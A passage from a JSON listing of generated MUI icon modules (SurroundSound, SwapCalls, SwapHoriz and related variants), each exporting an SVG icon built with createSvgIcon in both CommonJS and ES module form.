2 2 2-.9 2-2-.9-2-2-2\"\n}), 'SurroundSound');"
  },
  {
    "path": "packages/mui-icons-material/lib/SurroundSound.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M7.76 16.24l-1.41 1.41C4.78 16.1 4 14.05 4 12s.78-4.1 2.34-5.66l1.41 1.41C6.59 8.93 6 10.46 6 12s.59 3.07 1.76 4.24M12 16c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4m5.66 1.66-1.41-1.41C17.41 15.07 18 13.54 18 12s-.59-3.07-1.76-4.24l1.41-1.41C19.22 7.9 20 9.95 20 12s-.78 4.1-2.34 5.66M12 10c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\"\n}), 'SurroundSound');"
  },
  {
    "path": "packages/mui-icons-material/lib/SurroundSoundOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H4V6h16z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.29 15.71C7.27 14.69 6.75 13.35 6.75 12s.52-2.69 1.53-3.72L7.05 7.05C5.68 8.41 5 10.21 5 12s.68 3.59 2.06 4.94zM12 15.5c1.93 0 3.5-1.57 3.5-3.5S13.93 8.5 12 8.5 8.5 10.07 8.5 12s1.57 3.5 3.5 3.5m0-5c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5.67-1.5 1.5-1.5m3.72 5.22 1.23 1.23C18.32 15.59 19 13.79 19 12s-.68-3.59-2.06-4.94l-1.23 1.23c1.02 1.02 1.54 2.36 1.54 3.71s-.52 2.69-1.53 3.72\"\n}, \"1\")], 'SurroundSoundOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SurroundSoundOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H4V6h16z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.29 15.71C7.27 14.69 6.75 13.35 6.75 12s.52-2.69 1.53-3.72L7.05 7.05C5.68 8.41 5 10.21 5 12s.68 3.59 2.06 4.94zM12 15.5c1.93 0 3.5-1.57 3.5-3.5S13.93 8.5 12 8.5 8.5 10.07 8.5 12s1.57 3.5 3.5 3.5m0-5c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5.67-1.5 1.5-1.5m3.72 5.22 1.23 1.23C18.32 15.59 19 13.79 19 12s-.68-3.59-2.06-4.94l-1.23 1.23c1.02 1.02 1.54 2.36 1.54 3.71s-.52 2.69-1.53 3.72\"\n}, \"1\")], 'SurroundSoundOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SurroundSoundRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M7.11 16.89c-.43.43-1.14.39-1.51-.09C4.53 15.39 4 13.69 4 12s.53-3.38 1.59-4.8c.37-.48 1.08-.53 1.51-.1.35.35.39.9.1 1.29C6.4 9.46 6 10.73 6 12s.4 2.53 1.2 3.6c.3.39.26.94-.09 1.29M12 16c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4m4.9.9c-.35-.35-.39-.9-.09-1.29C17.6 14.54 18 13.27 18 12s-.4-2.53-1.2-3.6c-.3-.39-.26-.95.09-1.3.43-.43 1.14-.39 1.51.09 1.07 1.41 1.6 3.1 1.6 4.8 0 1.69-.53 3.38-1.59 4.8-.37.49-1.08.54-1.51.11M12 10c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\"\n}), 'SurroundSoundRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SurroundSoundRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M7.11 16.89c-.43.43-1.14.39-1.51-.09C4.53 15.39 4 13.69 4 12s.53-3.38 1.59-4.8c.37-.48 1.08-.53 1.51-.1.35.35.39.9.1 1.29C6.4 9.46 6 10.73 6 12s.4 2.53 1.2 3.6c.3.39.26.94-.09 1.29M12 16c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4m4.9.9c-.35-.35-.39-.9-.09-1.29C17.6 14.54 18 13.27 18 12s-.4-2.53-1.2-3.6c-.3-.39-.26-.95.09-1.3.43-.43 1.14-.39 1.51.09 1.07 1.41 1.6 3.1 1.6 4.8 0 1.69-.53 3.38-1.59 4.8-.37.49-1.08.54-1.51.11M12 10c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\"\n}), 'SurroundSoundRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SurroundSoundSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 4H2v16h20zM7.76 16.24l-1.41 1.41C4.78 16.1 4 14.05 4 12s.78-4.1 2.34-5.66l1.41 1.41C6.59 8.93 6 10.46 6 12s.59 3.07 1.76 4.24M12 16c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4m5.66 1.66-1.41-1.41C17.41 15.07 18 13.54 18 12s-.59-3.07-1.76-4.24l1.41-1.41C19.22 7.9 20 9.95 20 12s-.78 4.1-2.34 5.66M12 10c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\"\n}), 'SurroundSoundSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SurroundSoundSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 4H2v16h20zM7.76 16.24l-1.41 1.41C4.78 16.1 4 14.05 4 12s.78-4.1 2.34-5.66l1.41 1.41C6.59 8.93 6 10.46 6 12s.59 3.07 1.76 4.24M12 16c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4m5.66 1.66-1.41-1.41C17.41 15.07 18 13.54 18 12s-.59-3.07-1.76-4.24l1.41-1.41C19.22 7.9 20 9.95 20 12s-.78 4.1-2.34 5.66M12 10c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\"\n}), 'SurroundSoundSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SurroundSoundTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 18h16V6H4zM16.94 7.06C18.32 8.41 19 10.21 19 12s-.68 3.59-2.05 4.95l-1.23-1.23c1.02-1.03 1.53-2.37 1.53-3.72s-.52-2.69-1.54-3.71zM12 8.5c1.93 0 3.5 1.57 3.5 3.5s-1.57 3.5-3.5 3.5-3.5-1.57-3.5-3.5 1.57-3.5 3.5-3.5M7.05 7.05l1.23 1.23C7.27 9.31 6.75 10.65 6.75 12s.52 2.69 1.54 3.71l-1.23 1.23C5.68 15.59 5 13.79 5 12s.68-3.59 2.05-4.95\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H4V6h16z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.29 15.71C7.27 14.69 6.75 13.35 6.75 12s.52-2.69 1.53-3.72L7.05 7.05C5.68 8.41 5 10.21 5 12s.68 3.59 2.06 4.94zM12 15.5c1.93 0 3.5-1.57 3.5-3.5S13.93 8.5 12 8.5 8.5 10.07 8.5 12s1.57 3.5 3.5 3.5m0-5c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5.67-1.5 1.5-1.5m3.72 5.22 1.23 1.23C18.32 15.59 19 13.79 19 12s-.68-3.59-2.06-4.94l-1.23 1.23c1.02 1.02 1.54 2.36 1.54 3.71s-.52 2.69-1.53 3.72\"\n}, \"2\")], 'SurroundSoundTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SurroundSoundTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 18h16V6H4zM16.94 7.06C18.32 8.41 19 10.21 19 12s-.68 3.59-2.05 4.95l-1.23-1.23c1.02-1.03 1.53-2.37 1.53-3.72s-.52-2.69-1.54-3.71zM12 8.5c1.93 0 3.5 1.57 3.5 3.5s-1.57 3.5-3.5 3.5-3.5-1.57-3.5-3.5 1.57-3.5 3.5-3.5M7.05 7.05l1.23 1.23C7.27 9.31 6.75 10.65 6.75 12s.52 2.69 1.54 3.71l-1.23 1.23C5.68 15.59 5 13.79 5 12s.68-3.59 2.05-4.95\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H4V6h16z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.29 15.71C7.27 14.69 6.75 13.35 6.75 12s.52-2.69 1.53-3.72L7.05 7.05C5.68 8.41 5 10.21 5 12s.68 3.59 2.06 4.94zM12 15.5c1.93 0 3.5-1.57 3.5-3.5S13.93 8.5 12 8.5 8.5 10.07 8.5 12s1.57 3.5 3.5 3.5m0-5c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5.67-1.5 1.5-1.5m3.72 5.22 1.23 1.23C18.32 15.59 19 13.79 19 12s-.68-3.59-2.06-4.94l-1.23 1.23c1.02 1.02 1.54 2.36 1.54 3.71s-.52 2.69-1.53 3.72\"\n}, \"2\")], 'SurroundSoundTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwapCalls.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18 4-4 4h3v7c0 1.1-.9 2-2 2s-2-.9-2-2V8c0-2.21-1.79-4-4-4S5 5.79 5 8v7H2l4 4 4-4H7V8c0-1.1.9-2 2-2s2 .9 2 2v7c0 2.21 1.79 4 4 4s4-1.79 4-4V8h3z\"\n}), 'SwapCalls');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwapCalls.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m18 4-4 4h3v7c0 1.1-.9 2-2 2s-2-.9-2-2V8c0-2.21-1.79-4-4-4S5 5.79 5 8v7H2l4 4 4-4H7V8c0-1.1.9-2 2-2s2 .9 2 2v7c0 2.21 1.79 4 4 4s4-1.79 4-4V8h3z\"\n}), 'SwapCalls');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwapCallsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18 4-4 4h3v7c0 1.1-.9 2-2 2s-2-.9-2-2V8c0-2.21-1.79-4-4-4S5 5.79 5 8v7H2l4 4 4-4H7V8c0-1.1.9-2 2-2s2 .9 2 2v7c0 2.21 1.79 4 4 4s4-1.79 4-4V8h3z\"\n}), 'SwapCallsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwapCallsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m18 4-4 4h3v7c0 1.1-.9 2-2 2s-2-.9-2-2V8c0-2.21-1.79-4-4-4S5 5.79 5 8v7H2l4 4 4-4H7V8c0-1.1.9-2 2-2s2 .9 2 2v7c0 2.21 1.79 4 4 4s4-1.79 4-4V8h3z\"\n}), 'SwapCallsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwapCallsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17.65 4.35-2.79 2.79c-.32.32-.1.86.35.86H17v6.88c0 1-.67 1.93-1.66 2.09-1.25.21-2.34-.76-2.34-1.97V8.17c0-2.09-1.53-3.95-3.61-4.15C7.01 3.79 5 5.66 5 8v7H3.21c-.45 0-.67.54-.35.85l2.79 2.79c.2.2.51.2.71 0l2.79-2.79c.31-.31.09-.85-.36-.85H7V8.12c0-1 .67-1.93 1.66-2.09C9.91 5.82 11 6.79 11 8v6.83c0 2.09 1.53 3.95 3.61 4.15C16.99 19.21 19 17.34 19 15V8h1.79c.45 0 .67-.54.35-.85l-2.79-2.79c-.19-.2-.51-.2-.7-.01\"\n}), 'SwapCallsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwapCallsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m17.65 4.35-2.79 2.79c-.32.32-.1.86.35.86H17v6.88c0 1-.67 1.93-1.66 2.09-1.25.21-2.34-.76-2.34-1.97V8.17c0-2.09-1.53-3.95-3.61-4.15C7.01 3.79 5 5.66 5 8v7H3.21c-.45 0-.67.54-.35.85l2.79 2.79c.2.2.51.2.71 0l2.79-2.79c.31-.31.09-.85-.36-.85H7V8.12c0-1 .67-1.93 1.66-2.09C9.91 5.82 11 6.79 11 8v6.83c0 2.09 1.53 3.95 3.61 4.15C16.99 19.21 19 17.34 19 15V8h1.79c.45 0 .67-.54.35-.85l-2.79-2.79c-.19-.2-.51-.2-.7-.01\"\n}), 'SwapCallsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwapCallsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18 4-4 4h3v7c0 1.1-.9 2-2 2s-2-.9-2-2V8c0-2.21-1.79-4-4-4S5 5.79 5 8v7H2l4 4 4-4H7V8c0-1.1.9-2 2-2s2 .9 2 2v7c0 2.21 1.79 4 4 4s4-1.79 4-4V8h3z\"\n}), 'SwapCallsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwapCallsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m18 4-4 4h3v7c0 1.1-.9 2-2 2s-2-.9-2-2V8c0-2.21-1.79-4-4-4S5 5.79 5 8v7H2l4 4 4-4H7V8c0-1.1.9-2 2-2s2 .9 2 2v7c0 2.21 1.79 4 4 4s4-1.79 4-4V8h3z\"\n}), 'SwapCallsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwapCallsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 8h3v7c0 1.1-.9 2-2 2s-2-.9-2-2V8c0-2.21-1.79-4-4-4S5 5.79 5 8v7H2l4 4 4-4H7V8c0-1.1.9-2 2-2s2 .9 2 2v7c0 2.21 1.79 4 4 4s4-1.79 4-4V8h3l-4-4z\"\n}), 'SwapCallsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwapCallsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 8h3v7c0 1.1-.9 2-2 2s-2-.9-2-2V8c0-2.21-1.79-4-4-4S5 5.79 5 8v7H2l4 4 4-4H7V8c0-1.1.9-2 2-2s2 .9 2 2v7c0 2.21 1.79 4 4 4s4-1.79 4-4V8h3l-4-4z\"\n}), 'SwapCallsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwapHoriz.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.99 11 3 15l3.99 4v-3H14v-2H6.99zM21 9l-3.99-4v3H10v2h7.01v3z\"\n}), 'SwapHoriz');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwapHoriz.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.99 11 3 15l3.99 4v-3H14v-2H6.99zM21 9l-3.99-4v3H10v2h7.01v3z\"\n}), 'SwapHoriz');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwapHorizOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.99 11 3 15l3.99 4v-3H14v-2H6.99zM21 9l-3.99-4v3H10v2h7.01v3z\"\n}), 'SwapHorizOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwapHorizOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.99 11 3 15l3.99 4v-3H14v-2H6.99zM21 9l-3.99-4v3H10v2h7.01v3z\"\n}), 'SwapHorizOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwapHorizRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m6.14 11.86-2.78 2.79c-.19.2-.19.51 0 .71l2.78 2.79c.31.32.85.09.85-.35V16H13c.55 0 1-.45 1-1s-.45-1-1-1H6.99v-1.79c0-.45-.54-.67-.85-.35m14.51-3.21-2.78-2.79c-.31-.32-.85-.09-.85.35V8H11c-.55 0-1 .45-1 1s.45 1 1 1h6.01v1.79c0 .45.54.67.85.35l2.78-2.79c.2-.19.2-.51.01-.7\"\n}), 'SwapHorizRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwapHorizRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m6.14 11.86-2.78 2.79c-.19.2-.19.51 0 .71l2.78 2.79c.31.32.85.09.85-.35V16H13c.55 0 1-.45 1-1s-.45-1-1-1H6.99v-1.79c0-.45-.54-.67-.85-.35m14.51-3.21-2.78-2.79c-.31-.32-.85-.09-.85.35V8H11c-.55 0-1 .45-1 1s.45 1 1 1h6.01v1.79c0 .45.54.67.85.35l2.78-2.79c.2-.19.2-.51.01-.7\"\n}), 'SwapHorizRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwapHorizSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.99 11 3 15l3.99 4v-3H14v-2H6.99zM21 9l-3.99-4v3H10v2h7.01v3z\"\n}), 'SwapHorizSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwapHorizSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.99 11 3 15l3.99 4v-3H14v-2H6.99zM21 9l-3.99-4v3H10v2h7.01v3z\"\n}), 'SwapHorizSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwapHorizTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.99 11 3 15l3.99 4v-3H14v-2H6.99zM21 9l-3.99-4v3H10v2h7.01v3z\"\n}), 'SwapHorizTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwapHorizTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.99 11 3 15l3.99 4v-3H14v-2H6.99zM21 9l-3.99-4v3H10v2h7.01v3z\"\n}), 'SwapHorizTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwapHorizontalCircle.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 12c0-5.52-4.48-10-10-10S2 6.48 2 12s4.48 10 10 10 10-4.48 10-10m-7-5.5 3.5 3.5-3.5 3.5V11h-4V9h4zm-6 11L5.5 14 9 10.5V13h4v2H9z\"\n}), 'SwapHorizontalCircle');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwapHorizontalCircle.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 12c0-5.52-4.48-10-10-10S2 6.48 2 12s4.48 10 10 10 10-4.48 10-10m-7-5.5 3.5 3.5-3.5 3.5V11h-4V9h4zm-6 11L5.5 14 9 10.5V13h4v2H9z\"\n}), 'SwapHorizontalCircle');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwapHorizontalCircleOutlined.js",
